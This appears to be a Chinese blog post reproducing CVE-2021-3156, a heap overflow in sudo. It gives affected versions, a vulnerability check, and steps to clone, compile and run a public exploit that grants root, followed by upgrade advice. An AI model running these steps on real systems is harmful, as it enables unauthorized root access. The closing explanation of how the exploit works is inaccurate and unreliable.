CVE-2021-3156 漏洞復現
漏洞簡介
2021年1月26日,Linux安全工具sudo被發現嚴重的基於堆緩沖區溢出漏洞。利用這一漏洞,攻擊者無需知道用戶密碼,一樣可以獲得root權限,並且是在默認配置下。此漏洞已分配為CVE-2021-3156,危險等級評分為7分。
當sudo通過-s或-i命令行選項在shell模式下運行命令時,它將在命令參數中使用反斜杠轉義特殊字符。但使用-s或-i標志運行sudoedit時,實際上並未進行轉義,從而可能導致緩沖區溢出。因此只要存在sudoers文件(通常是/etc/sudoers),攻擊者就可以使用本地普通用戶利用sudo獲得系統root權限。研究人員利用該漏洞在多個Linux發行版上成功獲得了完整的root權限,包括Ubuntu 20.04(sudo 1.8.31)、Debian 10(sudo 1.8.27)和Fedora 33(sudo 1.9.2),並且sudo支持的其他操作系統和Linux發行版也很容易受到攻擊。
攻擊效果
漏洞發生的原因在於sudo錯誤地轉義了參數中的反斜杠。
通常,通過shell(sudo -s或sudo -i)運行命令行時,sudo會轉義特殊字符。但 -s 或 -i 也可能被用來運行sudoedit,在這種情況下,實際上特殊字符沒有被轉義,這就可能導致緩沖區溢出。
利用該漏洞,研究人員在多個Linux發行版上成功獲得了完整的root權限,包括Ubuntu 20.04(sudo 1.8.31)、Debian 10(sudo 1.8.27)和Fedora 33(sudo 1.9.2)。並且,Qualys認為,在這種情況下,sudo支持的其他操作系統和Linux發行版也很容易受到攻擊,並不能排除風險。
受影響版本
Sudo 1.8.2 – 1.8.31p2
Sudo 1.9.0 – 1.9.5p1
不受影響版本
sudo =>1.9.5p2
漏洞復現
1 查看Linux及sudo版本
lsb_release -a
sudo -V
2 簡單測試漏洞是否存在
sudoedit -s /
3 如果返回“sudoedit:開頭的錯誤”,則當前系統可能存在安全風險;
不受影響的系統將顯示“usage:開頭的錯誤”。
4 下載exp
git clone https://github.com/blasty/CVE-2021-3156.git
cd CVE-2021-3156
5 編譯exp
make
6 添加執行權限
chmod a+x sudo-hax-me-a-sandwich
7 exp提權測試
./sudo-hax-me-a-sandwich 0
提權成功啦!!!!
參考文獻
信息安全漏洞門戶網 :http://cve.scap.org.cn/
修復建議
目前官方已在sudo新版本1.9.5p2中修復了該漏洞,請受影響的用戶盡快升級版本進行防護。
下載地址:https://www.sudo.ws/download.html
個人理解
sudo執行時本來應該在/usr/lib下搜索動態庫,結果這貨優先在執行命令的位置搜索,所以這個時候就在編譯一個動態態庫在當前目錄,里邊主要就是跳過用戶密碼驗證,直接返回true。